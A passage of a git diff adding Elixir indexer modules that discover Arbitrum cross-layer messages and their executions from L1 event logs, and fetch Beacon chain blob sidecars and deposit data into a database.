`OutBoxTransactionExecuted` events within the + # specified L1 block range to discover new execution transactions. It processes + # these logs to extract execution details and associated lifecycle transactions, + # which are then imported into the database. For lifecycle timestamps not + # available in the logs, RPC calls to `eth_getBlockByNumber` are made to fetch + # the necessary data. Furthermore, the function checks unexecuted L2-to-L1 + # messages to match them with any recorded executions, updating their status to + # `:relayed` and establishing links with the corresponding lifecycle + # transactions. These updated messages are also imported into the database. + # + # ## Parameters + # - `outbox_address`: The address of the Arbitrum outbox contract to filter the + # logs. + # - `start_block`: The starting block number for log retrieval. + # - `end_block`: The ending block number for log retrieval. + # - `l1_rpc_config`: Configuration parameters including JSON RPC arguments and + # settings for processing the logs. + # + # ## Returns + # - N/A + defp discover(outbox_address, start_block, end_block, l1_rpc_config) do + logs = + get_logs_for_new_executions( + start_block, + end_block, + outbox_address, + l1_rpc_config.json_rpc_named_arguments + ) + + {lifecycle_transactions, executions} = get_executions_from_logs(logs, l1_rpc_config) + + unless executions == [] do + log_info("Executions for #{length(executions)} L2 messages will be imported") + + {:ok, _} = + Chain.import(%{ + arbitrum_lifecycle_transactions: %{params: lifecycle_transactions}, + arbitrum_l1_executions: %{params: executions}, + timeout: :infinity + }) + end + + # Inspects all unexecuted messages to potentially mark them as completed, + # addressing the scenario where found executions may correspond to messages + # that have not yet been indexed. This ensures that as soon as a new unexecuted + # message is added to the database, it can be marked as relayed, considering + # the execution transactions that have already been indexed. + messages = get_relayed_messages() + + unless messages == [] do + log_info("Marking #{length(messages)} l2-to-l1 messages as completed") + + {:ok, _} = + Chain.import(%{ + arbitrum_messages: %{params: messages}, + timeout: :infinity + }) + end + end + + # Retrieves logs representing `OutBoxTransactionExecuted` events between the specified blocks. + defp get_logs_for_new_executions(start_block, end_block, outbox_address, json_rpc_named_arguments) + when start_block <= end_block do + {:ok, logs} = + IndexerHelper.get_logs( + start_block, + end_block, + outbox_address, + [ArbitrumEvents.outbox_transaction_executed()], + json_rpc_named_arguments + ) + + if length(logs) > 0 do + log_debug("Found #{length(logs)} OutBoxTransactionExecuted logs") + end + + logs + end + + # Extracts and processes execution details from logs for L2-to-L1 message transactions. + # + # This function parses logs representing `OutBoxTransactionExecuted` events to + # extract basic execution details. It then requests block timestamps and + # associates them with the extracted executions, forming lifecycle transactions + # enriched with timestamps and finalization statuses. Subsequently, unique + # identifiers for the lifecycle transactions are determined, and the connection + # between execution records and lifecycle transactions is established. + # + # ## Parameters + # - `logs`: A collection of log entries to be processed. + # - `l1_rpc_config`: Configuration parameters including JSON RPC arguments, + # chunk size for RPC calls, and a flag indicating whether to track the + # finalization of transactions. + # + # ## Returns + # - A tuple containing: + # - A list of lifecycle transactions with updated timestamps, finalization + # statuses, and unique identifiers. + # - A list of detailed execution information for L2-to-L1 messages. + # Both lists are prepared for database importation. + @spec get_executions_from_logs( + [%{String.t() => any()}], + %{ + :json_rpc_named_arguments => EthereumJSONRPC.json_rpc_named_arguments(), + :chunk_size => non_neg_integer(), + :track_finalization => boolean(), + optional(any()) => any() + } + ) :: {[Arbitrum.LifecycleTransaction.to_import()], [Arbitrum.L1Execution.to_import()]} + defp get_executions_from_logs(logs, l1_rpc_config) + + defp get_executions_from_logs([], _), do: {[], []} + + defp get_executions_from_logs( + logs, + %{ + json_rpc_named_arguments: json_rpc_named_arguments, + chunk_size: chunk_size, + track_finalization: track_finalization? + } = _l1_rpc_config + ) do + {basics_executions, basic_lifecycle_transactions, blocks_requests} = parse_logs_for_new_executions(logs) + + blocks_to_ts = Rpc.execute_blocks_requests_and_get_ts(blocks_requests, json_rpc_named_arguments, chunk_size) + + lifecycle_transactions = + basic_lifecycle_transactions + |> ArbitrumHelper.extend_lifecycle_transactions_with_ts_and_status(blocks_to_ts, track_finalization?) + |> DbParentChainTransactions.get_indices_for_l1_transactions() + + executions = + basics_executions + |> Enum.reduce([], fn execution, updated_executions -> + updated = + execution + |> Map.put(:execution_id, lifecycle_transactions[execution.execution_transaction_hash].id) + |> Map.drop([:execution_transaction_hash]) + + [updated | updated_executions] + end) + + {Map.values(lifecycle_transactions), executions} + end + + # Parses logs to extract new execution transactions for L2-to-L1 messages. + # + # This function processes log entries to identify `OutBoxTransactionExecuted` + # events, extracting the message ID, transaction hash, and block number for + # each. It accumulates this data into execution details, lifecycle + # transaction descriptions, and RPC requests for block information. These + # are then used in subsequent steps to finalize the execution status of the + # messages. + # + # ## Parameters + # - `logs`: A collection of log entries to be processed. + # + # ## Returns + # - A tuple containing: + # - `executions`: A list of details for execution transactions related to + # L2-to-L1 messages. + # - `lifecycle_transactions`: A map of lifecycle transaction details, keyed by L1 + # transaction hash. + # - `blocks_requests`: A list of RPC requests for fetching block data where + # the executions occurred. + defp parse_logs_for_new_executions(logs) do + {executions, lifecycle_transactions, blocks_requests} = + logs + |> Enum.reduce({[], %{}, %{}}, fn event, {executions, lifecycle_transactions, blocks_requests} -> + msg_id = outbox_transaction_executed_event_parse(event) + + l1_transaction_hash_raw = event["transactionHash"] + l1_transaction_hash = Rpc.string_hash_to_bytes_hash(l1_transaction_hash_raw) + l1_blk_num = quantity_to_integer(event["blockNumber"]) + + updated_executions = [ + %{ + message_id: msg_id, + execution_transaction_hash: l1_transaction_hash + } + | executions + ] + + updated_lifecycle_transactions = + Map.put( + lifecycle_transactions, + l1_transaction_hash, + %{hash: l1_transaction_hash, block_number: l1_blk_num} + ) + + updated_blocks_requests = + Map.put( + blocks_requests, + l1_blk_num, + BlockByNumber.request(%{id: 0, number: l1_blk_num}, false, true) + ) + + log_debug("Execution for L2 message ##{msg_id} found in #{l1_transaction_hash_raw}") + + {updated_executions, updated_lifecycle_transactions, updated_blocks_requests} + end) + + {executions, lifecycle_transactions, Map.values(blocks_requests)} + end + + # Parses `OutBoxTransactionExecuted` event data to extract the transaction index parameter + defp outbox_transaction_executed_event_parse(event) do + [transaction_index] = decode_data(event["data"], ArbitrumEvents.outbox_transaction_executed_unindexed_params()) + + transaction_index + end + + # Retrieves unexecuted messages from L2 to L1, marking them as completed if their + # corresponding execution transactions are identified. + # + # This function fetches messages confirmed on L1 and matches these messages with + # their corresponding execution transactions. For matched pairs, it updates the + # message status to `:relayed` and links them with the execution transactions. + # + # ## Returns + # - A list of messages marked as completed, ready for database import. + @spec get_relayed_messages() :: [Arbitrum.Message.to_import()] + defp get_relayed_messages do + # Assuming that both catchup block fetcher and historical messages catchup fetcher + # will check all discovered historical messages to be marked as executed it is not + # needed to handle :initiated and :sent of historical messages here, only for + # new messages discovered and changed their status from `:sent` to `:confirmed` + confirmed_messages = DbMessages.confirmed_l2_to_l1_messages() + + if Enum.empty?(confirmed_messages) do + [] + else + log_debug("Identified #{length(confirmed_messages)} l2-to-l1 messages already confirmed but not completed") + + messages_map = + confirmed_messages + |> Enum.reduce(%{}, fn msg, acc -> + Map.put(acc, msg.message_id, msg) + end) + + messages_map + |> Map.keys() + |> DbMessages.l1_executions() + |> Enum.map(fn execution -> + messages_map + |> Map.get(execution.message_id) + |> Map.put(:completion_transaction_hash, execution.execution_transaction.hash.bytes) + |> Map.put(:status, :relayed) + end) + end + end +end diff --git a/apps/indexer/lib/indexer/fetcher/arbitrum/workers/new_messages_to_l2.ex b/apps/indexer/lib/indexer/fetcher/arbitrum/workers/new_messages_to_l2.ex new file mode 100644 index 000000000000..a2a1c04524ed --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/arbitrum/workers/new_messages_to_l2.ex @@ -0,0 +1,357 @@ +defmodule Indexer.Fetcher.Arbitrum.Workers.NewMessagesToL2 do + @moduledoc """ + Manages the discovery and processing of new and historical L1-to-L2 messages initiated on L1 for an Arbitrum rollup. + + This module is responsible for identifying and importing messages that are initiated + from Layer 1 (L1) to Arbitrum's Layer 2 (L2). It handles both new messages that are + currently being sent to L2 and historical messages that were sent in the past but + have not yet been processed by the system. + + The initiated messages are identified by analyzing logs associated with + `MessageDelivered` events emitted by the Arbitrum bridge contract. These logs + contain almost all the information required to compose the messages, except for the + originator's address, which is obtained by making an RPC call to get the transaction + details. + """ + + import EthereumJSONRPC, only: [quantity_to_integer: 1] + alias EthereumJSONRPC.Arbitrum.Constants.Events, as: ArbitrumEvents + + import Explorer.Helper, only: [decode_data: 2] + + import Indexer.Fetcher.Arbitrum.Utils.Logging, only: [log_info: 1, log_debug: 1] + + alias Indexer.Fetcher.Arbitrum.Utils.Rpc + alias Indexer.Helper, as: IndexerHelper + + alias Explorer.Chain + alias Explorer.Chain.Arbitrum + alias Explorer.Chain.Events.Publisher + + require Logger + + @types_of_l1_messages_forwarded_to_l2 [3, 7, 9, 12] + + @doc """ + Discovers new L1-to-L2 messages initiated on L1 within a configured block range and processes them for database import. + + This function calculates the block range for discovering new messages from L1 to L2 + based on the latest block number available on the network. It then fetches logs + related to L1-to-L2 events within this range, extracts message details from both + the log and the corresponding L1 transaction, and imports them into the database. If + new messages were discovered, their amount is announced to be broadcasted through + a websocket. + + ## Parameters + - A map containing: + - `config`: Configuration settings including JSON RPC arguments for L1, Arbitrum + bridge address, RPC block range, and chunk size for RPC calls. + - `data`: Contains the starting block number for new L1-to-L2 message discovery. + + ## Returns + - `{:ok, end_block}`: On successful discovery and processing, where `end_block` + indicates the necessity to consider next block range in the + following iteration of new message discovery. + - `{:ok, start_block - 1}`: when no new blocks on L1 produced from the last + iteration of the new message discovery. + """ + @spec discover_new_messages_to_l2(%{ + :config => %{ + :json_l1_rpc_named_arguments => EthereumJSONRPC.json_rpc_named_arguments(), + :l1_bridge_address => binary(), + :l1_rpc_block_range => non_neg_integer(), + :l1_rpc_chunk_size => non_neg_integer(), + optional(any()) => any() + }, + :data => %{ + :new_msg_to_l2_start_block => non_neg_integer(), + optional(any()) => any() + }, + optional(any()) => any() + }) :: {:ok, non_neg_integer()} + def discover_new_messages_to_l2( + %{ + config: %{ + json_l1_rpc_named_arguments: json_rpc_named_arguments, + l1_rpc_chunk_size: chunk_size, + l1_rpc_block_range: rpc_block_range, + l1_bridge_address: bridge_address + }, + data: %{new_msg_to_l2_start_block: start_block} + } = _state + ) do + # Requesting the "latest" block instead of "safe" allows to get messages originated to L2 + # much earlier than they will be seen by the Arbitrum Sequencer. + {:ok, latest_block} = + IndexerHelper.get_block_number_by_tag( + "latest", + json_rpc_named_arguments, + Rpc.get_resend_attempts() + ) + + end_block = min(start_block + rpc_block_range - 1, latest_block) + + if start_block <= end_block do + log_info("Block range for discovery new messages from L1: #{start_block}..#{end_block}") + + new_messages_amount = + discover( + bridge_address, + start_block, + end_block, + json_rpc_named_arguments, + chunk_size + ) + + if new_messages_amount > 0 do + Publisher.broadcast(%{new_messages_to_arbitrum_amount: new_messages_amount}, :realtime) + end + + {:ok, end_block} + else + {:ok, start_block - 1} + end + end + + @doc """ + Discovers historical L1-to-L2 messages initiated on L1 within the configured block range and processes them for database import. + + This function calculates the block range for message discovery and targets historical + messages from L1 to L2 by querying the specified block range on L1. The discovery is + conducted by fetching logs related to L1-to-L2 events, extracting message details + from both the log and the corresponding L1 transaction, and importing them into + the database. + + ## Parameters + - A map containing: + - `config`: Configuration settings including JSON RPC arguments for L1, Arbitrum + bridge address, rollup initialization block, block range, and chunk + size for RPC calls. + - `data`: Contains the end block for historical L1-to-L2 message discovery. + + ## Returns + - `{:ok, start_block}`: On successful discovery and processing, where `start_block` + indicates the necessity to consider another block range in + the next iteration of message discovery. + - `{:ok, l1_rollup_init_block}`: If the discovery process already reached rollup + initialization block and no discovery action was + necessary. + """ + @spec discover_historical_messages_to_l2(%{ + :config => %{ + :json_l1_rpc_named_arguments => EthereumJSONRPC.json_rpc_named_arguments(), + :l1_bridge_address => binary(), + :l1_rollup_init_block => non_neg_integer(), + :l1_rpc_block_range => non_neg_integer(), + :l1_rpc_chunk_size => non_neg_integer(), + optional(any()) => any() + }, + :data => %{ + :historical_msg_to_l2_end_block => non_neg_integer(), + optional(any()) => any() + }, + optional(any()) => any() + }) :: {:ok, non_neg_integer()} + def discover_historical_messages_to_l2( + %{ + config: %{ + json_l1_rpc_named_arguments: json_rpc_named_arguments, + l1_rpc_chunk_size: chunk_size, + l1_rpc_block_range: rpc_block_range, + l1_bridge_address: bridge_address, + l1_rollup_init_block: l1_rollup_init_block + }, + data: %{historical_msg_to_l2_end_block: end_block} + } = _state + ) do + if end_block >= l1_rollup_init_block do + start_block = max(l1_rollup_init_block, end_block - rpc_block_range + 1) + + log_info("Block range for discovery historical messages from L1: #{start_block}..#{end_block}") + + discover( + bridge_address, + start_block, + end_block, + json_rpc_named_arguments, + chunk_size + ) + + {:ok, start_block} + else + {:ok, l1_rollup_init_block} + end + end + + # Discovers and imports L1-to-L2 messages initiated on L1 within a specified block range. + # + # This function discovers messages initiated on L1 for transferring information from L1 to L2 + # by retrieving relevant logs within the specified block range on L1, focusing on + # `MessageDelivered` events. It processes these logs to extract and construct message + # details. For information not present in the events, RPC calls are made to fetch additional + # transaction details. The discovered messages are then imported into the database. + # + # ## Parameters + # - `bridge_address`: The address of the Arbitrum bridge contract used to filter the logs. + # - `start_block`: The starting block number for log retrieval. + # - `end_block`: The ending block number for log retrieval. + # - `json_rpc_named_argument`: Configuration parameters for the JSON RPC connection. + # - `chunk_size`: The size of chunks for processing RPC calls in batches. + # + # ## Returns + # - amount of discovered messages + defp discover(bridge_address, start_block, end_block, json_rpc_named_argument, chunk_size) do + logs = + get_logs_for_l1_to_l2_messages( + start_block, + end_block, + bridge_address, + json_rpc_named_argument + ) + + messages = get_messages_from_logs(logs, json_rpc_named_argument, chunk_size) + + unless messages == [] do + log_info("Origins of #{length(messages)} L1-to-L2 messages will be imported") + end + + {:ok, _} = + Chain.import(%{ + arbitrum_messages: %{params: messages}, + timeout: :infinity + }) + + length(messages) + end + + # Retrieves logs representing the `MessageDelivered` events. + defp get_logs_for_l1_to_l2_messages(start_block, end_block, bridge_address, json_rpc_named_arguments) + when start_block <= end_block do + {:ok, logs} = + IndexerHelper.get_logs( + start_block, + end_block, + bridge_address, + [ArbitrumEvents.message_delivered()], + json_rpc_named_arguments + ) + + if length(logs) > 0 do + log_debug("Found #{length(logs)} MessageDelivered logs") + end + + logs + end + + # Extracts complete message details from the provided logs and prepares them for + # database insertion. + # + # This function filters and parses the logs to identify L1-to-L2 messages, + # generating corresponding RPC requests to fetch additional transaction data. + # It executes these RPC requests to obtain the `from` address of each transaction. + # It then completes each message description by merging the fetched `from` + # address and setting the status to `:initiated`, making them ready for database + # import. + # + # ## Parameters + # - `logs`: A list of log entries to be processed. + # - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection. + # - `chunk_size`: The size of chunks for batch processing transactions. + # + # ## Returns + # - A list of maps describing discovered messages compatible with the database + # import operation. + @spec get_messages_from_logs( + [%{String.t() => any()}], + EthereumJSONRPC.json_rpc_named_arguments(), + non_neg_integer() + ) :: [Arbitrum.Message.to_import()] + defp get_messages_from_logs(logs, json_rpc_named_arguments, chunk_size) + + defp get_messages_from_logs([], _, _), do: [] + + defp get_messages_from_logs(logs, json_rpc_named_arguments, chunk_size) do + {messages, transactions_requests} = parse_logs_for_l1_to_l2_messages(logs) + + transactions_to_from = + Rpc.execute_transactions_requests_and_get_from(transactions_requests, json_rpc_named_arguments, chunk_size) + + Enum.map(messages, fn msg -> + Map.merge(msg, %{ + originator_address: transactions_to_from[msg.originating_transaction_hash], + status: :initiated + }) + end) + end + + # Parses logs to extract L1-to-L2 message details and prepares RPC requests for transaction data. + # + # This function processes log entries corresponding to `MessageDelivered` events, filtering out + # L1-to-L2 messages identified by one of the following message types: `3`, `17`, `9`, `12`. + # Utilizing information from both the transaction and the log, the function constructs maps + # that partially describe each message and prepares RPC `eth_getTransactionByHash` requests to fetch + # the remaining data needed to complete these message descriptions. + # + # ## Parameters + # - `logs`: A collection of log entries to be processed. + # + # ## Returns + # - A tuple comprising: + # - `messages`: A list of maps, each containing an incomplete representation of a message. + # - `transactions_requests`: A list of RPC request `eth_getTransactionByHash` structured to fetch + # additional data needed to finalize the message descriptions. + defp parse_logs_for_l1_to_l2_messages(logs) do + {messages, transactions_requests} = + logs + |> Enum.reduce({[], %{}}, fn event, {messages, transactions_requests} -> + {msg_id, type, ts} = message_delivered_event_parse(event) + + if type in @types_of_l1_messages_forwarded_to_l2 do + transaction_hash = event["transactionHash"] + blk_num = quantity_to_integer(event["blockNumber"]) + + updated_messages = [ + %{ + direction: :to_l2, + message_id: msg_id, + originating_transaction_hash: transaction_hash, + origination_timestamp: ts, + originating_transaction_block_number: blk_num + } + | messages + ] + + updated_transactions_requests = + Map.put( + transactions_requests, + transaction_hash, + Rpc.transaction_by_hash_request(%{id: 0, hash: transaction_hash}) + ) + + log_debug("L1 to L2 message #{transaction_hash} found with the type #{type}") + + {updated_messages, updated_transactions_requests} + else + {messages, transactions_requests} + end + end) + + {messages, Map.values(transactions_requests)} + end + + # Parses the `MessageDelivered` event to extract relevant message details. + defp message_delivered_event_parse(event) do + [ + _inbox, + kind, + _sender, + _message_data_hash, + _base_fee_l1, + timestamp + ] = decode_data(event["data"], ArbitrumEvents.message_delivered_unindexed_params()) + + message_index = quantity_to_integer(Enum.at(event["topics"], 1)) + + {message_index, kind, Timex.from_unix(timestamp)} + end +end diff --git a/apps/indexer/lib/indexer/fetcher/beacon/blob.ex b/apps/indexer/lib/indexer/fetcher/beacon/blob.ex new file mode 100644 index 000000000000..b42a49f4824e --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/beacon/blob.ex @@ -0,0 +1,175 @@ +defmodule Indexer.Fetcher.Beacon.Blob do + @moduledoc """ + Fills beacon_blobs DB table. + """ + + use Indexer.Fetcher, restart: :permanent + use Spandex.Decorators + + require Logger + + alias Explorer.Repo + alias Explorer.Chain.Beacon.{Blob, Reader} + alias Explorer.Chain.Data + alias Indexer.{BufferedTask, Tracer} + alias Indexer.Fetcher.Beacon.Blob.Supervisor, as: BlobSupervisor + alias Indexer.Fetcher.Beacon.Client + + @behaviour BufferedTask + + @default_max_batch_size 10 + @default_max_concurrency 1 + @default_retries_limit 2 + # 5 minutes in seconds + @default_retry_deadline 300 + + @doc """ + Asynchronously fetches blobs for given `block_timestamp`. + """ + def async_fetch(block_timestamps, realtime?) do + if BlobSupervisor.disabled?() do + :ok + else + BufferedTask.buffer(__MODULE__, Enum.map(block_timestamps, &entry/1), realtime?) + end + end + + @spec child_spec([...]) :: %{ + :id => any(), + :start => {atom(), atom(), list()}, + optional(:modules) => :dynamic | [atom()], + optional(:restart) => :permanent | :temporary | :transient, + optional(:shutdown) => :brutal_kill | :infinity | non_neg_integer(), + optional(:significant) => boolean(), + optional(:type) => :supervisor | :worker + } + @doc false + def child_spec([init_options, gen_server_options]) do + state = + :indexer + |> Application.get_env(__MODULE__) + |> Keyword.take([:start_block, :end_block, :reference_slot, :reference_timestamp, :slot_duration]) + |> Enum.into(%{}) + + merged_init_options = + defaults() + |> Keyword.merge(init_options) + |> Keyword.put(:state, state) + + Supervisor.child_spec({BufferedTask, [{__MODULE__, merged_init_options}, gen_server_options]}, id: __MODULE__) + end + + @impl BufferedTask + def init(initial, reducer, state) do + {:ok, final} = + Reader.stream_missed_blob_transactions_timestamps( + initial, + fn fields, acc -> + fields + |> entry() + |> reducer.(acc) + end, + state.start_block, + state.end_block + ) + + final + end + + @impl BufferedTask + @decorate trace( + name: "fetch", + resource: "Indexer.Fetcher.Beacon.Blob.run/2", + service: :indexer, + tracer: Tracer + ) + def run(entries, state) do + entry_count = Enum.count(entries) + Logger.metadata(count: entry_count) + + Logger.debug(fn -> "fetching" end) + + entries + |> Enum.map(&entry_to_slot(&1, state)) + |> Client.get_blob_sidecars() + |> case do + {:ok, fetched_blobs, retry_indices} -> + run_fetched_blobs(fetched_blobs) + + retry_entities = + retry_indices + |> Enum.map(&Enum.at(entries, &1)) + |> Enum.filter(&should_retry?/1) + |> Enum.map(&increment_retry_count/1) + + if Enum.empty?(retry_entities) do + :ok + else + {:retry, retry_entities} + end + end + end + + defp entry(block_timestamp) do + {DateTime.to_unix(block_timestamp), 0} + end + + defp increment_retry_count({block_timestamp, retry_count}), do: {block_timestamp, retry_count + 1} + + # Stop retrying after 2 failed retries for slots older than 5 minutes + defp should_retry?({block_timestamp, retry_count}), + do: + retry_count < @default_retries_limit || + block_timestamp + @default_retry_deadline > DateTime.to_unix(DateTime.utc_now()) + + defp entry_to_slot({block_timestamp, _}, state), do: timestamp_to_slot(block_timestamp, state) + + @doc """ + Converts block timestamp to the slot number. + """ + @spec timestamp_to_slot(non_neg_integer(), map()) :: non_neg_integer() + def timestamp_to_slot(block_timestamp, %{ + reference_timestamp: reference_timestamp, + reference_slot: reference_slot, + slot_duration: slot_duration + }) do + ((block_timestamp - reference_timestamp) |> div(slot_duration)) + reference_slot + end + + defp run_fetched_blobs(fetched_blobs) do + blobs = + fetched_blobs + |> Enum.flat_map(fn %{"data" => blobs} -> blobs end) + |> Enum.map(&blob_entry/1) + + Repo.insert_all(Blob, blobs, on_conflict: :nothing, conflict_target: [:hash]) + end + + defp blob_entry(%{ + "blob" => blob, + "kzg_commitment" => kzg_commitment, + "kzg_proof" => kzg_proof + }) do + {:ok, kzg_commitment} = Data.cast(kzg_commitment) + {:ok, blob} = Data.cast(blob) + {:ok, kzg_proof} = Data.cast(kzg_proof) + + %{ + hash: Blob.hash(kzg_commitment.bytes), + blob_data: blob, + kzg_commitment: kzg_commitment, + kzg_proof: kzg_proof + } + end + + defp defaults do + [ + poll: false, + flush_interval: :timer.seconds(3), + max_batch_size: Application.get_env(:indexer, __MODULE__)[:batch_size] || @default_max_batch_size, + max_concurrency: Application.get_env(:indexer, __MODULE__)[:concurrency] || @default_max_concurrency, + task_supervisor: Indexer.Fetcher.Beacon.Blob.TaskSupervisor, + metadata: [fetcher: :beacon_blob] + ] + end +end diff --git a/apps/indexer/lib/indexer/fetcher/beacon/client.ex b/apps/indexer/lib/indexer/fetcher/beacon/client.ex new file mode 100644 index 000000000000..fd62ab60f952 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/beacon/client.ex @@ -0,0 +1,103 @@ +defmodule Indexer.Fetcher.Beacon.Client do + @moduledoc """ + HTTP Client for Beacon Chain RPC + """ + require Logger + + alias Explorer.HttpClient + + @request_error_msg "Error while sending request to beacon rpc" + + defp http_get_request(url) do + case HttpClient.get(url) do + {:ok, %{body: body, status_code: 200}} -> + Jason.decode(body) + + {:ok, %{body: body, status_code: _}} -> + {:error, body} + + {:error, error} -> + old_truncate = Application.get_env(:logger, :truncate) + Logger.configure(truncate: :infinity) + + Logger.error(fn -> + [ + "Error while sending request to beacon rpc: #{url}: ", + inspect(error, limit: :infinity, printable_limit: :infinity) + ] + end) + + Logger.configure(truncate: old_truncate) + {:error, @request_error_msg} + end + end + + @doc """ + Fetches blob sidecars for multiple given beacon `slots` from the beacon RPC. + + Returns `{:ok, blob_sidecars_list, retry_indices_list}` + where `retry_indices_list` is the list of indices from `slots` for which the request failed and should be retried. + """ + @spec get_blob_sidecars([integer()]) :: {:ok, list(), [integer()]} + def get_blob_sidecars([]), do: {:ok, [], []} + + def get_blob_sidecars(slots) when is_list(slots) do + {oks, errors_with_retries} = + slots + |> Enum.map(&get_blob_sidecars/1) + |> Enum.with_index() + |> Enum.map(&first_if_ok/1) + |> Enum.split_with(&successful?/1) + + {errors, retries} = errors_with_retries |> Enum.unzip() + + if not Enum.empty?(errors) do + Logger.error(fn -> + [ + "Errors while fetching blob sidecars (failed for #{Enum.count(errors)}/#{Enum.count(slots)}) from beacon rpc: ", + inspect(Enum.take(errors, 3), limit: :infinity, printable_limit: :infinity) + ] + end) + end + + {:ok, oks |> Enum.map(fn {_, blob} -> blob end), retries} + end + + @spec get_blob_sidecars(integer()) :: {:error, any()} | {:ok, any()} + def get_blob_sidecars(slot) do + http_get_request(blob_sidecars_url(slot)) + end + + defp first_if_ok({{:ok, _} = first, _}), do: first + defp first_if_ok(res), do: res + + defp successful?({:ok, _}), do: true + defp successful?(_), do: false + + @spec get_header(integer()) :: {:error, any()} | {:ok, any()} + def get_header(slot) do + http_get_request(header_url(slot)) + end + + @spec get_spec :: {:error, any()} | {:ok, any()} + def get_spec do + http_get_request(spec_url()) + end + + @spec get_pending_deposits(integer() | String.t()) :: {:error, any()} | {:ok, any()} + def get_pending_deposits(slot) do + http_get_request(pending_deposits_url(slot)) + end + + def blob_sidecars_url(slot), do: "#{base_url()}" <> "/eth/v1/beacon/blob_sidecars/" <> to_string(slot) + + def header_url(slot), do: "#{base_url()}" <> "/eth/v1/beacon/headers/" <> to_string(slot) + + defp pending_deposits_url(epoch), do: "#{base_url()}/eth/v1/beacon/states/#{epoch}/pending_deposits" + + defp spec_url, do: "#{base_url()}/eth/v1/config/spec" + + def base_url do + Application.get_env(:indexer, Indexer.Fetcher.Beacon)[:beacon_rpc] + end +end diff --git a/apps/indexer/lib/indexer/fetcher/beacon/deposit.ex b/apps/indexer/lib/indexer/fetcher/beacon/deposit.ex new file mode 100644 index 000000000000..f6a74b72ad4d --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/beacon/deposit.ex @@ -0,0 +1,425 @@ +defmodule Indexer.Fetcher.Beacon.Deposit do + @moduledoc """ + Fetches deposit data from the beacon chain. + """ + + use GenServer + use Indexer.Fetcher + + require Logger + + import Ecto.Query + + alias ABI.Event + alias Explorer.Chain.Beacon.Deposit + alias Explorer.Chain.{Data, Wei} + alias Explorer.Repo + alias Indexer.Fetcher.Beacon.Client + + defstruct [ + :interval, + :batch_size, + :deposit_contract_address_hash, + :domain_deposit, + :genesis_fork_version, + :deposit_index, + :last_processed_log_block_number, + :last_processed_log_index + ] + + def start_link([init_opts, server_opts]) do + GenServer.start_link(__MODULE__, init_opts, server_opts) + end + + @impl GenServer + def init(_opts) do + Logger.metadata(fetcher: :beacon_deposit) + + {:ok, nil, {:continue, nil}} + end + + @impl GenServer + def handle_continue(nil, _state) do + chain_id = Application.get_env(:indexer, :chain_id) + + case Client.get_spec() do + {:ok, + %{ + "data" => %{ + "DEPOSIT_CHAIN_ID" => ^chain_id, + "DEPOSIT_CONTRACT_ADDRESS" => deposit_contract_address_hash, + "DOMAIN_DEPOSIT" => "0x" <> domain_deposit_hex, + "GENESIS_FORK_VERSION" => "0x" <> genesis_fork_version_hex + } + }} -> + last_processed_deposit = Deposit.get_latest_deposit() || %{index: -1, block_number: -1, log_index: -1} + + state = %__MODULE__{ + interval: Application.get_env(:indexer, __MODULE__)[:interval], + batch_size: Application.get_env(:indexer, __MODULE__)[:batch_size], + deposit_contract_address_hash: deposit_contract_address_hash, + domain_deposit: Base.decode16!(domain_deposit_hex, case: :mixed), + genesis_fork_version: Base.decode16!(genesis_fork_version_hex, case: :mixed), + deposit_index: last_processed_deposit.index, + last_processed_log_block_number: last_processed_deposit.block_number, + last_processed_log_index: last_processed_deposit.log_index + } + + Process.send_after(self(), :process_logs, state.interval) + + {:noreply, state} + + {:ok, + %{ + "data" => %{ + "DEPOSIT_CHAIN_ID" => chain_id, + "DEPOSIT_CONTRACT_ADDRESS" => _deposit_contract_address_hash, + "DOMAIN_DEPOSIT" => "0x" <> _domain_deposit_hex, + "GENESIS_FORK_VERSION" => "0x" <> _genesis_fork_version_hex + } + }} -> + Logger.error("Misconfigured CHAIN_ID or INDEXER_BEACON_RPC_URL, CHAIN_ID from the node: #{inspect(chain_id)}") + {:stop, :wrong_chain_id, nil} + + {:ok, data} -> + Logger.error("Unexpected format on beacon spec endpoint: #{inspect(data)}") + {:stop, :unexpected_format, nil} + + {:error, reason} -> + Logger.error("Failed to fetch beacon spec: #{inspect(reason)}") + {:stop, :fetch_failed, nil} + end + end + + @impl GenServer + def handle_cast({:lost_consensus, block_number}, %__MODULE__{} = state) do + max_reorg_depth_block_number = block_number + 64 + + {_deleted_deposits_count, deleted_deposits} = + Repo.delete_all( + from( + d in Deposit, + where: d.block_number > ^block_number, + where: d.block_number <= ^max_reorg_depth_block_number, + select: d.index + ), + timeout: :infinity + ) + + # todo: temporarily do not modify state of the indexer on reorgs. + # It should be handled by a separate process. + # deposit_index = Enum.min(deleted_deposits, fn -> state.deposit_index + 1 end) + # {:noreply, + # %{ + # state + # | deposit_index: deposit_index - 1, + # last_processed_log_block_number: block_number, + # last_processed_log_index: -1 + # }} + {:noreply, state} + rescue + postgrex_error in Postgrex.Error -> + Logger.error( + "Error while trying to delete reorged Beacon Deposits: #{Exception.format(:error, postgrex_error, __STACKTRACE__)}. Retrying." + ) + + GenServer.cast(self(), {:lost_consensus, block_number}) + {:noreply, state} + end + + @impl GenServer + def handle_info( + :process_logs, + %__MODULE__{ + interval: interval, + batch_size: batch_size, + deposit_contract_address_hash: deposit_contract_address_hash, + domain_deposit: domain_deposit, + genesis_fork_version: genesis_fork_version, + deposit_index: deposit_index, + last_processed_log_block_number: last_processed_log_block_number, + last_processed_log_index: last_processed_log_index + } = state + ) do + deposits = + deposit_contract_address_hash + |> Deposit.get_logs_with_deposits( + last_processed_log_block_number, + last_processed_log_index, + batch_size + ) + |> Enum.map(&log_to_deposit/1) + + # todo: sequential? check is removed as a hard requirement for deposits indexing + # since block ranges are found where node doesn't return deposits + # thus making the deposit index sequence non-sequential. + # We need a separate process which will monitor missed deposits + # after we check the nature of those missing deposit indexes. + case sequential?(deposit_index, deposits) do + {:error, prev, curr} -> + Logger.error("Non-sequential deposits detected: #{inspect(prev)} followed by #{inspect(curr)}") + + _ -> + :ok + end + + {deposits_count, _} = + Repo.insert_all(Deposit, set_status(deposits, domain_deposit, genesis_fork_version), + on_conflict: :replace_all, + conflict_target: [:index] + ) + + if deposits_count < batch_size do + Process.send_after(self(), :process_logs, interval) + else + Process.send(self(), :process_logs, []) + end + + last_deposit = + List.last(deposits, %{ + index: state.deposit_index, + block_number: state.last_processed_log_block_number, + log_index: 